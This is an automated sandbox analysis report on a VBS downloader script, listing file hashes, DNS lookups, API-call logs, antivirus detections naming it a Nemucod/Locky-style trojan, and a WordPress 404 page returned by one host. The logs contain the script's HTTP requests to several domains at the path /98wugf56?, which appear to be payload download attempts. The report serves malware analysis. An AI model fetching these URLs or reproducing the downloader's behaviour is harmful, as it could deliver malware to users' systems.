Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6401	June 25, 2021, 2:05 p.m.	June 25, 2021, 2:07 p.m.

Size	4.4KB
Type	ASCII text, with CRLF line terminators
MD5	`876d628a42f354504873d1a4bdcbdb2a`
SHA256	`4f88054c9b880bed03cf5803cdc64d59fd4a96e00581407a7a8e4f3e29366b03`
CRC32	`29BD8AAA`
ssdeep	`96:p9EijpW8aSaXwdxg+Fg6e1N+lfLn+8Xo0lXdrmitpOhwWx4mpnviqS:VpW8Iwq637L4AfU/x4mtvbS`
Yara	None matched

wscript.exe "C:\Windows\System32\wscript.exe" C:\Users\test22\AppData\Local\Temp\48998.2017-07-31_69.06.43.vbs
1080

Name	Response	Post-Analysis Lookup
trredfcjrottrdtwwq.net
www.healthbynature.co.nz	CNAME shops.myshopify.com A 23.227.38.74	23.227.38.74
rhinelanderrabbits.com	A 74.208.236.63	74.208.236.63
healthbynature.co.nz	A 23.227.38.32	23.227.38.32
speakezrewards.com

IP Address	Status	Action
164.124.101.2	Active	Moloch
23.227.38.32	Active	Moloch
74.208.236.63	Active	Moloch

Suricata Alerts

No Suricata Alerts

Suricata TLS

No Suricata TLS

One or more potentially interesting buffers were extracted, these generally contain injected code, configuration data, etc.

Performs some HTTP requests (2 events)

request	GET http://healthbynature.co.nz/98wugf56?
request	GET http://rhinelanderrabbits.com/98wugf56?

Wscript.exe initiated network communications indicative of a script based payload download (20 events)

Time & API	Arguments	Status	Return
InternetCrackUrlW June 25, 2021, 2:05 p.m.	url: http://speakezrewards.com/98wugf56? flags: 0	1	1
HttpOpenRequestW June 25, 2021, 2:05 p.m.	connect_handle: 0x00cc0008 http_version: flags: 4194304 http_method: GET referer: path: /98wugf56?	1	13369356
InternetCrackUrlW June 25, 2021, 2:05 p.m.	url: http://trredfcjrottrdtwwq.net/af/98wugf56 flags: 0	1	1
HttpOpenRequestW June 25, 2021, 2:05 p.m.	connect_handle: 0x00cc0008 http_version: flags: 4194304 http_method: GET referer: path: /af/98wugf56	1	13369356
InternetCrackUrlW June 25, 2021, 2:05 p.m.	url: http://healthbynature.co.nz/98wugf56? flags: 0	1	1
HttpOpenRequestW June 25, 2021, 2:05 p.m.	connect_handle: 0x00cc0008 http_version: flags: 4194304 http_method: GET referer: path: /98wugf56?	1	13369356
InternetCrackUrlA June 25, 2021, 2:05 p.m.	url: Cookie:test22@healthbynature.co.nz/ flags: 0	1	1
InternetCrackUrlA June 25, 2021, 2:05 p.m.	url: Cookie:test22@healthbynature.co.nz/ flags: 0	1	1
InternetCrackUrlA June 25, 2021, 2:05 p.m.	url: http://healthbynature.co.nz/98wugf56? flags: 0	1	1
InternetCrackUrlW June 25, 2021, 2:05 p.m.	url: http://rhinelanderrabbits.com/98wugf56? flags: 0	1	1
HttpOpenRequestW June 25, 2021, 2:05 p.m.	connect_handle: 0x00cc0010 http_version: flags: 4194304 http_method: GET referer: path: /98wugf56?	1	13369364
InternetReadFile June 25, 2021, 2:05 p.m.	buffer: <!DOCTYPE html> <html lang="en-US"> <head> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="profile" href="https://gmpg.org/xfn/11"> <link rel="pingback" href="http://rhinelanderrabbits.com/xmlrpc.php"> <title>Page not found – Rhinelander Rabbit Club of America</title> <meta name='robots' content='max-image-preview:large' /> <link rel='dns-prefetch' href='//www.google.com' /> <link rel='dns-prefetch' href='//s.w.org' /> <link rel="alternate" type="application/rss+xml" title="Rhinelander Rabbit Club of America » Feed" href="http://rhinelanderrabbits.com/feed" /> <link rel="alternate" type="application/rss+xml" title="Rhinelander Rabbit Club of America » Comments Feed" href="http://rhinelanderrabbits.com/comments/feed" /> <script type="text/javascript"> window._wpemojiSettings = {"baseUrl":"https:\/\/s.w.org\/images\/core\/emoji\/13.0.1\/72x72\/","ext":".png","svgUrl":"https:\/\/s.w.org\/images\/core\/emoji\/13.0.1\/svg\/"," request_handle: 0x00cc0014	1	1
InternetReadFile June 25, 2021, 2:05 p.m.	buffer: svgExt":".svg","source":{"concatemoji":"http:\/\/rhinelanderrabbits.com\/wp-includes\/js\/wp-emoji-release.min.js?ver=5.7.2"}}; !function(e,a,t){var n,r,o,i=a.createElement("canvas"),p=i.getContext&&i.getContext("2d");function s(e,t){var a=String.fromCharCode;p.clearRect(0,0,i.width,i.height),p.fillText(a.apply(this,e),0,0);e=i.toDataURL();return p.clearRect(0,0,i.width,i.height),p.fillText(a.apply(this,t),0,0),e===i.toDataURL()}function c(e){var t=a.createElement("script");t.src=e,t.defer=t.type="text/javascript",a.getElementsByTagName("head")[0].appendChild(t)}for(o=Array("flag","emoji"),t.supports={everything:!0,everythingExceptFlag:!0},r=0;r<o.length;r++)t.supports[o[r]]=function(e){if(!p\|\|!p.fillText)return!1;switch(p.textBaseline="top",p.font="600 32px Arial",e){case"flag":return s([127987,65039,8205,9895,65039],[127987,65039,8203,9895,65039])?!1:!s([55356,56826,55356,56819],[55356,56826,8203,55356,56819])&&!s([55356,57332,56128,56423,56128,56418,56128,56421,56128,56430,56128,56423,56128,56447],[55356,57332,8203,56128,56423,8203,56128,56418,8203,56128,56421,8203,56128,56430,8203,56128,56423,8203,56128,56447]);case"emoji":return!s([55357,56424,8205,55356,57212],[55357,56424,8203,55356,57212])}return!1}(o[r]),t.supports.everything=t.supports.everything&&t.supports[o[r]],"flag"!==o[r]&&(t.supports.everythingExceptFlag=t.supports.everythingExceptFlag&&t.supports[o[r]]);t.supports.everythingExceptFlag=t.supports.everythingExceptFlag&&!t.supports.flag,t.DOMReady=!1,t.readyCallback=function(){t.DOMReady=!0},t.supports.everything\|\|(n=function(){t.readyCallback()},a.addEventListener?(a.addEventListener("DOMContentLoaded",n,!1),e.addEventListener("load",n,!1)):(e.attachEvent("onload",n),a.attachEvent("onreadystatechange",function(){"complete"===a.readyState&&t.readyCallback()})),(n=t.source\|\|{}).concatemoji?c(n.concatemoji):n.wpemoji&&n.twemoji&&(c(n.twemoji),c(n.wpemoji)))}(window,document,window._wpemojiSettings); </script> <style type="text/css"> img.wp-smiley, img.emoji { display: inline !important; border: none !important; box-shadow: none !important; height: 1em !important; width: 1em !important; margin: 0 .07em !important; vertical-align: -0.1em !important; background: none !important; padding: 0 !important; } </style> <link rel='stylesheet' id='wp-block-library-css' href='http://rhinelanderrabbits.com/wp-includes/css/dist/block-library/style.min.css?ver=5.7.2' type='text/css' media='all' /> <link rel='stylesheet' id='wp-block-library-theme-css' href='http://rhinelanderrabbits.com/wp-includes/css/dist/block-library/theme.min.css?ver=5.7.2' type='text/css' media='all' /> <link rel='stylesheet' id='contact-form-7-css' href='http://rhinelanderrabbits.com/wp-content/plugins/contact-form-7/includes/css/styles.css?ver=5.4' type='text/css' media='all' /> <link rel='stylesheet' id='puresimple-responsive-css' href='http://rhinelanderrabbits.com/wp-content/themes/pure-simple/css/responsive.min.css?ver=3.1.1' type='text/ request_handle: 0x00cc0014	1	1
InternetReadFile June 25, 2021, 2:05 p.m.	buffer: css' media='all' /> <link rel='stylesheet' id='puresimple-fontawesome-css' href='http://rhinelanderrabbits.com/wp-content/themes/pure-simple/css/font-awesome.min.css?ver=4.2.0' type='text/css' media='all' /> <link rel='stylesheet' id='puresimple-opensans-css' href='http://rhinelanderrabbits.com/wp-content/themes/pure-simple/css/font-opensans.css?ver=1.0.2' type='text/css' media='all' /> <link rel='stylesheet' id='puresimple-style-css' href='http://rhinelanderrabbits.com/wp-content/themes/pure-simple/style.css?ver=5.7.2' type='text/css' media='all' /> <link rel='stylesheet' id='jquery-lazyloadxt-spinner-css-css' href='//rhinelanderrabbits.com/wp-content/plugins/a3-lazy-load/assets/css/jquery.lazyloadxt.spinner.css?ver=5.7.2' type='text/css' media='all' /> <script type='text/javascript' src='http://rhinelanderrabbits.com/wp-includes/js/jquery/jquery.min.js?ver=3.5.1' id='jquery-core-js'></script> <script type='text/javascript' src='http://rhinelanderrabbits.com/wp-includes/js/jquery/jquery-migrate.min.js?ver=3.3.2' id='jquery-migrate-js'></script> <link rel="https://api.w.org/" href="http://rhinelanderrabbits.com/wp-json/" /><link rel="EditURI" type="application/rsd+xml" title="RSD" href="http://rhinelanderrabbits.com/xmlrpc.php?rsd" /> <link rel="wlwmanifest" type="application/wlwmanifest+xml" href="http://rhinelanderrabbits.com/wp-includes/wlwmanifest.xml" /> <meta name="generator" content="WordPress 5.7.2" /> <style type="text/css"> html {font-size: 100%;}a, a:visited {color:#c69f63;}a:focus, a:hover {color:#767676;}.more-link a {background-color: #a0937d; color: #ffffff;}.more-link a:hover {background-color: #ddb271; color: #ffffff;}#footer-menu a {color: #b2b2b2;}#footer-menu a:hover {color: #767676;}#bottom-wrapper a,#bottom-wrapper .tagcloud a {color: #7f7f7f;}#bottom-wrapper a:hover {color: #000000;}#bottom-wrapper .tagcloud a {border-color: #000000;}#socialbar .socialicon {background-color: #42474d;}#socialbar a {color: #767676;}#socialbar a:hover {color: #9c9c9c;}.entry-title {font-size: 1.625rem;}.widget-title {font-size: 1.313rem;}#content {font-size: 0.813rem;}#bottom-wrapper {font-size: 0.75rem;}.site-tagline:before {background-color: #b9b9b9;}#cta {background-color:#ffffff;}h1 {font-size: 1.75rem;}h2 {font-size: 1.625rem;}h3 {font-size: 1.438rem;}h4 {font-size: 1.125rem;}h5 {font-size: 1rem;}h6 {font-size: 0.875rem;}#cta-heading {color:#4c4c4c;}.entry-title, .entry-title a {color:#4c4c4c;}.widget-title {color:#4c4c4c;} .entry-title a:hover {color:#a48a61;}#bottom-wrapper .widget-title {color:#cadad7;}#footer-heading {color:#767676;}#bottom-wrapper {background-color:#ddb577;}.menu-toggle {background-color: ; color: ;} .site-navigation.toggled-on a {background: ; color:;} @media screen and (min-width: 783px) {.site-navigation ul {font-size: 1rem;}.primary-navigation li li > a {font-size: 0.813rem;}.primary-navigation li li > a {color:#b6b6b6; border-color:#363535;}.primary-navigation li a,.site-navigation a:hover,.site-navigation .current-menu-item > a,.site-navigation .current-menu-item > a,.site-navigation .current-menu-ancestor > a {color:#ffffff;}.primary-navigation ul ul,.primary-navigation > li a:hover,.primary-navigation li:hover > a,.primary-navigation li li.focus > a,.primary-navigation ul ul a:hover,.primary-navigation ul ul li.focus > a {background-color:#080d07;}.site-navigation .current-menu-item > a, .site-navigation .current-menu-ancestor > a {background-color: #080d07;} .home.current-menu-item a {background: none;} .primary-navigation li:hover > ul.sub-menu, .primary-navigation li li:hover > a { background-color: #080d07 }} </style> <style type="text/css">.broken_link, a.broken_link { text-decoration: line-through; }</style><link rel="icon" href="http://rhinelanderrabbits.com/wp-content/uploads/2019/01/cropped-rhinefavicon-32x32.png" sizes="32x32" /> <link rel="icon" href="http://rhinelanderrabbits.com/wp-content/uploads/2019/01/cropped-rhinefavicon-192x192.png" sizes="192x192" /> <link rel="apple-touch-icon" href="http://rhinelanderrabbits.com/wp-content/uploads/2019/01/cropped-rh request_handle: 0x00cc0014	1	1
InternetReadFile June 25, 2021, 2:05 p.m.	buffer: inefavicon-180x180.png" /> <meta name="msapplication-TileImage" content="http://rhinelanderrabbits.com/wp-content/uploads/2019/01/cropped-rhinefavicon-270x270.png" /> </head> <body class="error404"> <!-- add move to top feture --> <div id="page" class="boxwide hfeed site"> <a class="skip-link screen-reader-text" href="#content">Skip to content</a> <div id="masthead" class="header-box" style="background-color: #ffffff;"> <div class="header-bg" style=" background-image: url();"> <div class="header-inner" style="padding: 2rem 0 2rem 0;"> <div class="logo fade-logo"> <a href="http://rhinelanderrabbits.com/" title="Rhinelander Rabbit Club of America " rel="home"><img src="http://rhinelander.amberwiseman.com/wp-content/uploads/2019/01/Rhinelander.png" alt="Rhinelander Rabbit Club of America"></a> </div> </div> </div> </div> <div class="navigation clearfix" style="background-color: #3d3d3d;"> <div class="container"> <div class="row"> <div class="col-md-12"> <div id="navbar" class="navbar"> <nav id="primary-navigation" class="site-navigation primary-navigation" role="navigation"> <div class="toggle-container visible-xs visible-sm hidden-md hidden-lg" style="background-color: #3d3d3d;"> <button class="menu-toggle">Menu</button></div> <a class="screen-reader-text skip-link" href="#content">Skip to content</a> <ul id="menu-main-menu" class="nav-menu"><li id="menu-item-72" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-home menu-item-72"><a href="http://rhinelanderrabbits.com/">Home</a></li> <li id="menu-item-70" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-70"><a href="http://rhinelanderrabbits.com/join-the-rrca">Join Now!</a></li> <li id="menu-item-78" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-has-children menu-item-78"><a>About the Club</a> <ul class="sub-menu"> <li id="menu-item-69" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-69"><a href="http://rhinelanderrabbits.com/officers">Officers</a></li> <li id="menu-item-64" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-64"><a href="http://rhinelanderrabbits.com/committees">Committees</a></li> <li id="menu-item-68" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-68"><a href="http://rhinelanderrabbits.com/constitution-and-by-laws">Constitution and By-Laws</a></li> </ul> </li> <li id="menu-item-80" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-has-children menu-item-80"><a>Showing Rhinelanders</a> <ul class="sub-menu"> <li id="menu-item-71" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-71"><a href="http://rhinelanderrabbits.com/sanctions">Sanction Your Show</a></li> <li id="menu-item-85" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-85"><a href="/event">Upcoming Shows</a></li> </ul> </li> <li id="menu-item-79" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-has-children menu-item-79"><a>About the Breed</a> <ul class="sub-menu"> <li id="menu-item-67" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-67"><a href="http://rhinelanderrabbits.com/about-rhinelanders">About Rhinelanders</a></li> <li id="menu-item-66" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-66"><a href="http://rhinelanderrabbits.com/history-of-the-rhinelander">History</a></li> </ul> </li> <li id="menu-item-65" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-65"><a href="http://rhinelanderrabbits.com/breeders">Find a Breeder</a></li> <li id="menu-item-73" class="menu-item menu-item-type-post_type menu-item-object-page current_page_parent menu-item-73"><a href="http://rhinelanderrabbits.com/news">News</a></li> </ul> </nav> request_handle: 0x00cc0014	1	1
InternetReadFile June 25, 2021, 2:05 p.m.	buffer: </div> </div> </div> </div> </div><!-- .navigation --> <div id="featured-top-group" style="background-color: #ffffff;"> <aside class="widget-area" role="complementary"> <div class="container"> <div class="row"> <div id="featuredtop4" class="col-md-12" role="complementary"> </div><!-- #top4 --> </div> </div> </aside> </div> <div id="primary" class="content-area"> <div id="content" class="site-content" style="background-color: #ffffff; color:#767676;" role="main"> <div id="primary" class="content-area"> <div id="content" class="site-content" role="main"> <div class="container"> <div class="row"> <div class="col-md-12"> <section id="cir-content-area" role="main"> <div class="error-content"> <header class="page-header"> <h1 style="font-weight:bold;">Page Not Found</h1><br/> <h2 style="font-weight:bold;">Well this does not look good.<br />It appears this page is missing or was removed.</h2> </header> <br/> <br/> <h4>If what you were looking for is not found, you may want to try searching with keywords relevant to what you were looking for.</h4><br/> <div class="input-group-box"> <form role="search" method="get" class="search-form" action="http://rhinelanderrabbits.com/"> <span class="screen-reader-text">Search for:</span> <div class="input-group"> <input type="text" class="form-control" value="" name="s"> <span class="input-group-btn"> <button class="btn btn-grey" type="submit" value="Search"><i class="fa fa-search"></i></button> </span> </div><!-- /input-group --> </form> </div> </div><!-- .page-content --> </div> </div><!-- #main --> </div><!-- #primary --> </section> </div> </div> </div> </div> </div> </div><!-- #content --> </div><!-- #primary --> <div id="bottom-wrapper" style="color:#000000;"> <aside class="widget-area" role="complementary" id="puresimple-bottom-section" > <div class="container"> <div class="row"> <div id="bottom1" class="col-md-3" role="complementary"> <div id="media_image-8" class="widget widget_media_image"><img width="150" height="150" src="//rhinelanderrabbits.com/wp-content/plugins/a3-lazy-load/assets/images/lazy_placeholder.gif" data-lazy-type="image" data-src="http://rhinelanderrabbits.com/wp-content/uploads/2019/01/DSCF4175-150x150.jpg" class="lazy lazy-hidden image wp-image-19 attachment-thumbnail size-thumbnail" alt="" loading="lazy" style="max-width: 100%; height: auto;" /><noscript><img width="150" height="150" src="http://rhinelanderrabbits.com/wp-content/uploads/2019/01/DSCF4175-150x150.jpg" class="image wp-image-19 attachment-thumbnail size-thumbnail" alt="" loading="lazy" style="max-width: 100%; height: auto;" /></noscript></div> </div><!-- #top1 --> <div id="bottom2" class="col-md-3" role="complementary"> <div id="media_image-9" class="widget widget_media_image"><img width="150" height="150" src="//rhinelanderrabbits.com/wp-content/plugins/a3-lazy-load/assets/images request_handle: 0x00cc0014	1	1
InternetReadFile June 25, 2021, 2:05 p.m.	buffer: /lazy_placeholder.gif" data-lazy-type="image" data-src="http://rhinelanderrabbits.com/wp-content/uploads/2019/01/DSCF4198-e1547328547547-150x150.jpg" class="lazy lazy-hidden image wp-image-20 attachment-thumbnail size-thumbnail" alt="" loading="lazy" style="max-width: 100%; height: auto;" /><noscript><img width="150" height="150" src="http://rhinelanderrabbits.com/wp-content/uploads/2019/01/DSCF4198-e1547328547547-150x150.jpg" class="image wp-image-20 attachment-thumbnail size-thumbnail" alt="" loading="lazy" style="max-width: 100%; height: auto;" /></noscript></div> </div><!-- #top2 --> <div id="bottom3" class="col-md-3" role="complementary"> <div id="media_image-10" class="widget widget_media_image"><img width="150" height="150" src="//rhinelanderrabbits.com/wp-content/plugins/a3-lazy-load/assets/images/lazy_placeholder.gif" data-lazy-type="image" data-src="http://rhinelanderrabbits.com/wp-content/uploads/2019/01/DSCF4183-150x150.jpg" class="lazy lazy-hidden image wp-image-17 at request_handle: 0x00cc0014	1	1
InternetReadFile June 25, 2021, 2:05 p.m.	buffer: tachment-thumbnail size-thumbnail" alt="" loading="lazy" style="max-width: 100%; height: auto;" /><noscript><img width="150" height="150" src="http://rhinelanderrabbits.com/wp-content/uploads/2019/01/DSCF4183-150x150.jpg" class="image wp-image-17 attachment-thumbnail size-thumbnail" alt="" loading="lazy" style="max-width: 100%; height: auto;" /></noscript></div> </div><!-- #top3 --> <div id="bottom4" class="col-md-3" role="complementary"> <div id="media_image-11" class="widget widget_media_image"><img width="150" height="150" src="//rhinelanderrabbits.com/wp-content/plugins/a3-lazy-load/assets/images/lazy_placeholder.gif" data-lazy-type="image" data-src="http://rhinelanderrabbits.com/wp-content/uploads/2019/01/DSCF4179-150x150.jpg" class="lazy lazy-hidden image wp-image-16 attachment-thumbnail size-thumbnail" alt="" loading="lazy" style="max-width: 100%; height: auto;" /><noscript><img width="150" height="150" src="http://rhinelanderrabbits.com/wp-content/uploads/2019/01/DSCF4179-150x150.jpg" class="image wp-image-16 attachment-thumbnail size-thumbnail" alt="" loading="lazy" style="max-width: 100%; height: auto;" /></noscript></div> </div><!-- #top4 --> </div> </div> </aside> </div> <footer id="site-footer" style="background-color:#000000; color:#767676;" role="contentinfo"> <div id="social-wrapper"> </div> <nav id="footer-nav" role="navigation"> </nav> Copyright © 2021 RRCA. All rights reserved. </footer> </div><!-- #page --> <script type='text/javascript' src='http://rhinelanderrabbits.com/wp-includes/js/dist/vendor/wp-polyfill.min.js?ver=7.4.4' id='wp-polyfill-js'></script> <script type='text/javascript' id='wp-polyfill-js-after'> ( 'fetch' in window ) \|\| document.write( '<script src="http://rhinelanderrabbits.com/wp-includes/js/dist/vendor/wp-polyfill-fetch.min.js?ver=3.0.0"></scr' + 'ipt>' );( document.contains ) \|\| document.write( '<script src="http://rhinelanderrabbits.com/wp-includes/js/dist/vendor/wp-polyfill-node-contains.min.js?ver=3.42.0"></scr' + 'ipt>' );( window.DOMRect ) \|\| document.write( '<script src="http://rhinelanderrabbits.com/wp-includes/js/dist/vendor/wp-polyfill-dom-rect.min.js?ver=3.42.0"></scr' + 'ipt>' );( window.URL && window.URL.prototype && window.URLSearchParams ) \|\| document.write( '<script src="http://rhinelanderrabbits.com/wp-includes/js/dist/vendor/wp-polyfill-url.min.js?ver=3.6.4"></scr' + 'ipt>' );( window.FormData && window.FormData.prototype.keys ) \|\| document.write( '<script src="http://rhinelanderrabbits.com/wp-includes/js/dist/vendor/wp-polyfill-formdata.min.js?ver=3.0.12"></scr' + 'ipt>' );( Element.prototype.matches && Element.prototype.closest ) \|\| documen request_handle: 0x00cc0014	1	1
InternetReadFile June 25, 2021, 2:05 p.m.	buffer: t.write( '<script src="http://rhinelanderrabbits.com/wp-includes/js/dist/vendor/wp-polyfill-element-closest.min.js?ver=2.0.2"></scr' + 'ipt>' );( 'objectFit' in document.documentElement.style ) \|\| document.write( '<script src="http://rhinelanderrabbits.com/wp-includes/js/dist/vendor/wp-polyfill-object-fit.min.js?ver=2.3.4"></scr' + 'ipt>' ); </script> <script type='text/javascript' src='http://rhinelanderrabbits.com/wp-includes/js/dist/hooks.min.js?ver=50e23bed88bcb9e6e14023e9961698c1' id='wp-hooks-js'></script> <script type='text/javascript' src='http://rhinelanderrabbits.com/wp-includes/js/dist/i18n.min.js?ver=db9a9a37da262883343e941c3731bc67' id='wp-i18n-js'></script> <script type='text/javascript' id='wp-i18n-js-after'> wp.i18n.setLocaleData( { 'text direction\u0004ltr': [ 'ltr' ] } ); </script> <script type='text/javascript' src='http://rhinelanderrabbits.com/wp-includes/js/dist/vendor/lodash.min.js?ver=4.17.19' id='lodash-js'></script> <script type='text/javascript' id='lodash-js-after'> window.lodash = _.noConflict(); </script> <script type='text/javascript' src='http://rhinelanderrabbits.com/wp-includes/js/dist/url.min.js?ver=0ac7e0472c46121366e7ce07244be1ac' id='wp-url-js'></script> <script type='text/javascript' id='wp-api-fetch-js-translations'> ( function( domain, translations ) { var localeData = translations.locale_data[ domain ] \|\| translations.locale_data.messages; localeData[""].domain = domain; wp.i18n.setLocaleData( localeData, domain ); } )( "default", { "locale_data": { "messages": { "": {} } } } ); </script> <script type='text/javascript' src='http://rhinelanderrabbits.com/wp-includes/js/dist/api-fetch.min.js?ver=a783d1f442d2abefc7d6dbd156a44561' id='wp-api-fetch-js'></script> <script type='text/javascript' id='wp-api-fetch-js-after'> wp.apiFetch.use( wp.apiFetch.createRootURLMiddleware( "http://rhinelanderrabbits.com/wp-json/" ) ); wp.apiFetch.nonceMiddleware = wp.apiFetch.createNonceMiddleware( "7c126b4d9f" ); wp.apiFetch.use( wp.apiFetch.nonceMiddleware ); wp.apiFetch.use( wp.apiFetch.mediaUploadMiddleware ); wp.apiFetch.nonceEndpoint = "http://rhinelanderrabbits.com/wp-admin/admin-ajax.php?action=rest-nonce"; </script> <script type='text/javascript' id='contact-form-7-js-extra'> /* <![CDATA[ / var wpcf7 = []; / ]]> / </script> <script type='text/javascript' src='http://rhinelanderrabbits.com/wp-content/plugins/contact-form-7/includes/js/index.js?ver=5.4' id='contact-form-7-js'></script> <script type='text/javascript' src='http://rhinelanderrabbits.com/wp-content/themes/pure-simple/js/global.min.js?ver=20141001' id='puresimple-global-js'></script> <script type='text/javascript' src='http://rhinelanderrabbits.com/wp-content/themes/pure-simple/js/puresimple-extras.js?ver=20150918' id='puresimple-extras-js'></script> <script type='text/javascript' id='jquery-lazyloadxt-js-extra'> / <![CDATA[ / var a3_lazyload_params = {"apply_images":"1","apply_videos":"1"}; / ]]> / </script> <script type='text/javascript' src='//rhinelanderrabbits.com/wp-content/plugins/a3-lazy-load/assets/js/jquery.lazyloadxt.extra.min.js?ver=2.4.5' id='jquery-lazyloadxt-js'></script> <script type='text/javascript' src='//rhinelanderrabbits.com/wp-content/plugins/a3-lazy-load/assets/js/jquery.lazyloadxt.srcset.min.js?ver=2.4.5' id='jquery-lazyloadxt-srcset-js'></script> <script type='text/javascript' id='jquery-lazyloadxt-extend-js-extra'> / <![CDATA[ / var a3_lazyload_extend_params = {"edgeY":"0","horizontal_container_classnames":""}; / ]]> / </script> <script type='text/javascript' src='//rhinelanderrabbits.com/wp-content/plugins/a3-lazy-load/assets/js/jquery.lazyloadxt.extend.js?ver=2.4.5' id='jquery-lazyloadxt-extend-js'></script> <script type='text/javascript' src='https://www.google.com/recaptcha/api.js?render=6LfO9KQUAAAAAD0_TBucmeG6OqjUCJadaZE6d8yU&ver=3.0' id='google-recaptcha-js'></script> <script type='text/javascript' id='wpcf7-recaptcha-js-extra'> / <![CDATA[ */ var wpcf7_recaptcha = {"sitekey":"6LfO9KQUAAAAAD0_TBucmeG6OqjUCJadaZE6d8yU","actions":{"homepage":"homepage","contactform":"contactform"}} request_handle: 0x00cc0014	1	1
InternetReadFile June 25, 2021, 2:05 p.m.	buffer: ; /* ]]> */ </script> <script type='text/javascript' src='http://rhinelanderrabbits.com/wp-content/plugins/contact-form-7/modules/recaptcha/index.js?ver=5.4' id='wpcf7-recaptcha-js'></script> <script type='text/javascript' src='http://rhinelanderrabbits.com/wp-includes/js/wp-embed.min.js?ver=5.7.2' id='wp-embed-js'></script> </body> </html> request_handle: 0x00cc0014	1	1

wscript.exe-based dropper (JScript, VBS) (4 events)

Network communications indicative of a potential document or script payload download was initiated by the process wscript.exe (17 events)

Time & API	Arguments	Status	Return
InternetCrackUrlW June 25, 2021, 2:05 p.m.	url: http://speakezrewards.com/98wugf56? flags: 0	1	1
HttpOpenRequestW June 25, 2021, 2:05 p.m.	connect_handle: 0x00cc0008 http_version: flags: 4194304 http_method: GET referer: path: /98wugf56?	1	13369356
InternetCrackUrlW June 25, 2021, 2:05 p.m.	url: http://trredfcjrottrdtwwq.net/af/98wugf56 flags: 0	1	1
HttpOpenRequestW June 25, 2021, 2:05 p.m.	connect_handle: 0x00cc0008 http_version: flags: 4194304 http_method: GET referer: path: /af/98wugf56	1	13369356
InternetCrackUrlW June 25, 2021, 2:05 p.m.	url: http://healthbynature.co.nz/98wugf56? flags: 0	1	1
HttpOpenRequestW June 25, 2021, 2:05 p.m.	connect_handle: 0x00cc0008 http_version: flags: 4194304 http_method: GET referer: path: /98wugf56?	1	13369356
send June 25, 2021, 2:05 p.m.	buffer: ! socket: 772 sent: 1	1	1
send June 25, 2021, 2:05 p.m.	buffer: GET /98wugf56? HTTP/1.1 Accept: / Accept-Language: ko User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0 Accept-Encoding: gzip, deflate Host: healthbynature.co.nz Connection: Keep-Alive socket: 976 sent: 231	1	231
send June 25, 2021, 2:05 p.m.	buffer: ! socket: 772 sent: 1	1	1
InternetCrackUrlA June 25, 2021, 2:05 p.m.	url: Cookie:test22@healthbynature.co.nz/ flags: 0	1	1
InternetCrackUrlA June 25, 2021, 2:05 p.m.	url: Cookie:test22@healthbynature.co.nz/ flags: 0	1	1
InternetCrackUrlA June 25, 2021, 2:05 p.m.	url: http://healthbynature.co.nz/98wugf56? flags: 0	1	1
InternetCrackUrlW June 25, 2021, 2:05 p.m.	url: http://rhinelanderrabbits.com/98wugf56? flags: 0	1	1
HttpOpenRequestW June 25, 2021, 2:05 p.m.	connect_handle: 0x00cc0010 http_version: flags: 4194304 http_method: GET referer: path: /98wugf56?	1	13369364
send June 25, 2021, 2:05 p.m.	buffer: ! socket: 772 sent: 1	1	1
send June 25, 2021, 2:05 p.m.	buffer: GET /98wugf56? HTTP/1.1 Accept: / Accept-Language: ko User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0 Accept-Encoding: gzip, deflate Host: rhinelanderrabbits.com Connection: Keep-Alive socket: 520 sent: 233	1	233
send June 25, 2021, 2:05 p.m.	buffer: ! socket: 772 sent: 1	1	1

File has been identified by 37 AntiVirus engines on VirusTotal as malicious (37 events)

MicroWorld-eScan	Trojan.VBS
FireEye	Trojan.VBS
CAT-QuickHeal	Trojan.Dropper.VBS.2799
McAfee	VBS/Downloader.ga
K7AntiVirus	Trojan ( 00518a151 )
K7GW	Trojan ( 00518a151 )
Baidu	VBS.Trojan-Downloader.agent.a
Cyren	VBS/Downldr.HM
Symantec	VBS.Downloader.B
ESET-NOD32	VBS/TrojanDownloader.Agent.PDB
TrendMicro-HouseCall	Mal_Nemucod-VBS01
Avast	VBS:LockyDownloader-E [Trj]
Kaspersky	Trojan-Downloader.VBS.Agent.cls
BitDefender	Trojan.VBS
NANO-Antivirus	Trojan.Script.Vbs-heuristic.druvzi
Rising	Downloader.VBS.MaliciousEmail!1.ACE7 (CLASSIC)
Ad-Aware	Trojan.VBS
Emsisoft	Trojan.VBS (B)
Comodo	Malware@#2fr9nxoak1y59
F-Secure	Malware.VBS/Dldr.Kriptik.CCC
DrWeb	VBS.DownLoader.927
TrendMicro	Mal_Nemucod-VBS01
McAfee-GW-Edition	VBS/Downloader.ga
Sophos	VBS/DownLdr-ACX
Ikarus	Trojan-Downloader.VBS.Agent
F-Prot	VBS/Downldr.HM
Avira	VBS/Dldr.Kriptik.CCC
Antiy-AVL	Trojan[Downloader]/VBS.Agent.pdh
Arcabit	Trojan.VBS
AegisLab	Trojan.Script.Generic.4!c
ZoneAlarm	Trojan-Downloader.VBS.Agent.cls
GData	Script.Trojan-Downloader.Nemucod.EW
AhnLab-V3	JS/Obfus.S252
MAX	malware (ai score=98)
Fortinet	VBS/Agent.PCX!tr.dldr
AVG	VBS:LockyDownloader-E [Trj]
Qihoo-360	virus.vbs.qexvmc.1

48998.2017-07-31_69.06.43.vbs

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All